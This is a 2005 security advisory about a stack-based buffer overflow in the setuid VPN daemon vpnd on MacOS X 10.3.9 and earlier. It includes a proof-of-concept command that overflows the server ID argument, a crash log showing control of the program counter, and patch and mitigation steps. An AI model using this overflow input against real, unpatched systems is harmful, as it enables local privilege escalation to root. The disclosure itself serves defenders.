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Local root vuln in VPN daemon on MacOS X
From: Pieter de Boer <pieter () os3 nl>
Date: Wed, 04 May 2005 15:47:46 +0200

Local root vulnerability in vpnd on MacOS X <= 10.3.9
-----------------------------------------------------

Overview
--------

There exists a local root exploitable stack based buffer overflow in the
VPN daemon shipping with MacOS X. This bug can be easily exploited to
gain root access.
This vulnerability has CVE ID CAN-2005-1343.


Exploitation
------------

The overflow can only be exploited on a system having vpnd configured as
a server. The following shows a NON-exploitable vpnd installation:

host:/tmp root# vpnd -i bla
2005-05-04 15:12:54 CEST        VPND: could not get servers dictionary
2005-05-04 15:12:54 CEST        VPND: error processing prefs file

This is due to the non-existance of
/var/db/SystemConfiguration/com.apple.RemoteAccessServers.plist.


Anyway, on an exploitable system you'd get:

host:/tmp root# vpnd -i `perl -e 'print "A"x600'`
2005-05-04 15:16:41 CEST        VPND: Server ID 'AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
invalid
Segmentation fault


The crashlog /Library/Logs/CrashReporter/vpnd.crash.log shows:

OS Version:     10.3.7 (Build 7S215)
Report Version: 2
Command: vpnd
Path:    /usr/sbin/vpnd
Version: ??? (???)
PID:     12690
Thread:  0

Exception:  EXC_BAD_ACCESS (0x0001)
Codes:      KERN_INVALID_ADDRESS (0x0001) at 0x41414140

Thread 0 Crashed:

PPC Thread State:
  srr0: 0x41414140 srr1: 0x4200f030                vrsave: 0x00000000
    cr: 0x24000242  xer: 0x00000004   lr: 0x41414141  ctr: 0x900010a0
    r0: 0x41414141   r1: 0xbffffbf0   r2: 0xa0192b50   r3: 0xffffffff
    r4: 0x00300950   r5: 0x00402004   r6: 0x00402004   r7: 0x00000001
    r8: 0x0000000f   r9: 0xa00011ac  r10: 0x00000013  r11: 0x44000244
   r12: 0x900010a0  r13: 0x00000000  r14: 0x00000000  r15: 0x00000000
   r16: 0x00000000  r17: 0x00000000  r18: 0x00000000  r19: 0x00000000
   r20: 0x00000000  r21: 0x00000000  r22: 0x00000000  r23: 0x00000000
   r24: 0x00000000  r25: 0x00000000  r26: 0xbffffce4  r27: 0x00000014
   r28: 0x41414141  r29: 0x41414141  r30: 0x41414141  r31: 0x41414141


Fix
---

Apply Security Update 2005-005 (which fixes quite a few other bugs,
too), remove the suid bit or remove the above mentioned config file.
More information about said security update can be found at:
http://docs.info.apple.com/article.html?artnum=301528

-- 
Pieter de Boer
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